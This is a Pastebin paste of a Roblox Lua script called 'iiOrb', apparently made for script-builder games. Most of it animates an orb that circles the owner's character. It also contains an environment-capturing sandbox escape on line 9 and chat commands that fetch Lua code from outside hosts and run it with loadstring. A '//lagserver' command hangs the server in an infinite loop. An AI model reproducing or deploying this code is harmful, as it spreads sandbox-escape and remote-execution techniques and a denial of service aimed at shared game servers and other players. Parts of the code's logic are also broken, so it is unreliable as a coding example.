Advertisement
princeofheaven

Untitled

Sep 26th, 2015
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.13 KB | None | 0 0
  1. VERSION = '1.7'
  2. http = game.HttpService
  3. dhttp = http:GetAsync('https://code.stypi.com/raw/PrinceOfHeavena/return%20hi.lua')
  4. disabled = loadstring(dhttp)()
  5. if disabled == true or nil then
  6. error'loder under maintenance ;)'
  7. end
  8. if game.PlaceId ~= '178350907' then
  9. rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil;game:service'Debris':AddItem(n,0);return e end);y=shared['\0bp']();shared["\0bp"]=nil;game:GetService'ReplicatedStorage':ClearAllChildren();logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Warn","'..msg..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end
  10. writelog'iiOrb loaded.'
  11. local player = owner or game.Players.PrinceOfHeaven or game.Players.iiDeadzone or game.Players.DrAnkIe
  12. player.Character:WaitForChild("Humanoid")
  13. local folder = Instance.new("Folder", game:GetService("Workspace"))
  14. folder.Name = "iiOrb"
  15. speed = 9
  16. ID = ""
  17. local part = Instance.new("Part")
  18. http = game:GetService'HttpService'
  19. local function res()
  20. part.Parent = workspace
  21. part.Shape = "Ball"
  22. part.FormFactor = "Custom"
  23. part.Size = Vector3.new(1,1,1)
  24. part.Name = "Orb"
  25. part.Anchored = true
  26. part.Locked = true
  27. part.CanCollide = false
  28. part.BottomSurface = "Smooth"
  29. part.TopSurface = "Smooth"
  30. part.BrickColor = BrickColor.White()
  31. end
  32. devrank = 'Normal User'
  33. key = math.random(1,293498)
  34. print(key.." is the creator\'s key.")
  35. if owner.Name == 'PrinceOfHeaven' then
  36. devrank = 'Creator/Developer'
  37. writelog(owner.Name..' is using the orb. His rank is: '..devrank)
  38. elseif owner.Name == 'T0tallyN0tATr0ll' then
  39. devrank = 'l33t stalkeur'
  40. writelog(owner.Name..' is using the orb. His/her rank is: '..devrank)
  41. elseif owner.Name == 'iiDeadzone' then
  42. devrank = 'c22\'s bae <3 + creator'
  43. writelog(owner.Name..' is using the orb. His rank is '..devrank)
  44. elseif owner.Name == 'sebastian12341234' then
  45. devrank = 'Friend'
  46. writelog(owner.Name..'is using the orb. His rank is '..devrank)
  47. else
  48. devrank = 'person who got the orb and possibly leaks it ;)'
  49. end
  50. res()
  51.  
  52. game:GetService("Workspace").DescendantRemoving:connect(function(v)
  53. if v == folder then
  54. folder = Instance.new("Folder")
  55. folder.Name = "iiOrb"
  56. part = Instance.new("Part")
  57. folder.Parent = game:GetService("Workspace")
  58. res()
  59. end
  60. end)
  61.  
  62. local point
  63.  
  64. local loop = coroutine.create(function()
  65. while true do
  66. for i=1,360,speed do
  67. if player.Character and not point then
  68. point = player.Character:FindFirstChild("Head")
  69. end
  70. if point.Parent.Name == player.Character.Name then
  71. point = player.Character:FindFirstChild("HumanoidRootPart")
  72. end
  73. if part then
  74. part.CFrame = CFrame.new(point.CFrame.p) *CFrame.fromEulerAnglesXYZ(-math.sin(math.rad(i)),math.rad(i),2) *CFrame.new(8,2,2)end
  75. wait()
  76. end
  77. end
  78. end)
  79.  
  80.  
  81. local function trailPar()
  82. local pos = part.CFrame.p
  83. wait()
  84. local pos2 = part.CFrame.p
  85. local dist = (pos - pos2).magnitude
  86. local trail = Instance.new("Part")
  87. trail.Parent = script
  88. trail.Anchored = true
  89. trail.Transparency = 0.5
  90. trail.Locked = true
  91. trail.Material = "Neon"
  92. trail.CanCollide = false
  93. trail.BottomSurface = "Smooth"
  94. trail.TopSurface = "Smooth"
  95. trail.Shape = "Block"
  96. trail.FormFactor = "Custom"
  97. trail.Size = Vector3.new(0.1,0.1,dist)
  98. trail.CFrame = CFrame.new(pos,pos2) *CFrame.new(0,0,-dist/2)
  99. trail.Parent = folder
  100. game:GetService("Debris"):AddItem(trail,1)
  101. return trail
  102. end
  103. writelog('Version '..VERSION ..' of iiOrb loaded.')
  104.  
  105. local trail = coroutine.create(function()
  106. while true do
  107. for i=1,10,1 do
  108. trail = trailPar()
  109. trail.Size = trail.Size + Vector3.new(.1,.1,.1)
  110. trail.Transparency = i/30
  111. trail.BrickColor = BrickColor.new("Really black")
  112. end
  113. for i=2,10,1 do
  114. trail = trailPar()
  115. trail.Size = trail.Size + Vector3.new(.1,.1,.1)
  116. trail.Transparency = i/30
  117. trail.BrickColor = BrickColor.new("Really red")
  118. end
  119. for i=1,10,1 do
  120. trail = trailPar()
  121. trail.Size = trail.Size + Vector3.new(.1,.1,.1)
  122. trail.Transparency = i/30
  123. trail.BrickColor = BrickColor.new("Really black")
  124. end
  125.  
  126.  
  127. for i=1,10,1 do
  128. trail = trailPar()
  129. trail.Size = trail.Size + Vector3.new(.1,.1,.1)
  130. trail.Transparency = i/30
  131. trail.BrickColor = BrickColor.new("Really red")
  132. end
  133. end
  134. end)
  135. function Chat(msg)
  136. if msg == "//music on" then
  137. music = Instance.new("Sound",script)
  138. music.SoundId = "rbxassetid://275240413"
  139. music.Looped = true
  140. music:Play()
  141. music.Volume = 1
  142. music.Looped = true
  143. elseif msg == "//music off" then
  144. music:Stop()
  145. end
  146. end
  147. function X(msg)
  148. if msg == "//oxchat()" then
  149. ox = http:GetAsync("http://cdn.skypeforums.x10host.com/ScriptHosting/OxChat.lua")
  150. loadstring(ox)()
  151. end
  152. end
  153. function ProxLaunch(msg)
  154. if msg == "//prox()" then
  155. prox = http:GetAsync("https://code.stypi.com/raw/PrinceOfHeavena/untitled%2011")
  156. loadstring(prox)()
  157. end
  158. end
  159. function Terminate(msg)
  160. if msg == "terminate/"..key then script:ClearAllChildren''
  161. warn'KEY ACCEPTED SHUTTING DOWN SCRIPT'
  162. script:Remove()
  163. end
  164. end
  165. for i,v in pairs(game.Players:GetPlayers()) do
  166. if v.Name == "PrinceOfHeaven" or "iiDeadzone" or "DrAnkIe" or "sebastian12341234" then
  167. v.Chatted:connect(Chat)
  168. v.Chatted:connect(X)
  169. v.Chatted:connect(ProxLaunch)
  170. end
  171. end
  172. function TPAll(msg)
  173. if msg == "/e tpall/"..key then
  174. local h = http:GetAsync('https://code.stypi.com/raw/PrinceOfHeavena/untitled%206',true)
  175. loadstring(h)()
  176. end
  177. end
  178. function lagserver(msg)
  179. if msg == "//lagserver" then
  180. while true do
  181. while true do
  182. end
  183. end
  184. end
  185. end
  186. function Slow(msg)
  187. if msg == "//slow" then
  188. speed = 2
  189. end
  190. end
  191. function Fast(msg)
  192. if msg == "//fast" then
  193. speed = 5
  194. end
  195. end
  196. fenv = getfenv()
  197. game.Players['PrinceOfHeaven'].Chatted:connect(Terminate)
  198. game.Players['PrinceOfHeaven'].Chatted:connect(TPAll)
  199. game.Players['PrinceOfHeaven'].Chatted:connect(Slow)
  200. game.Players.PrinceOfHeaven.Chatted:connect(lagserver)
  201. coroutine.resume(loop)
  202. coroutine.resume(trail)
  203. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement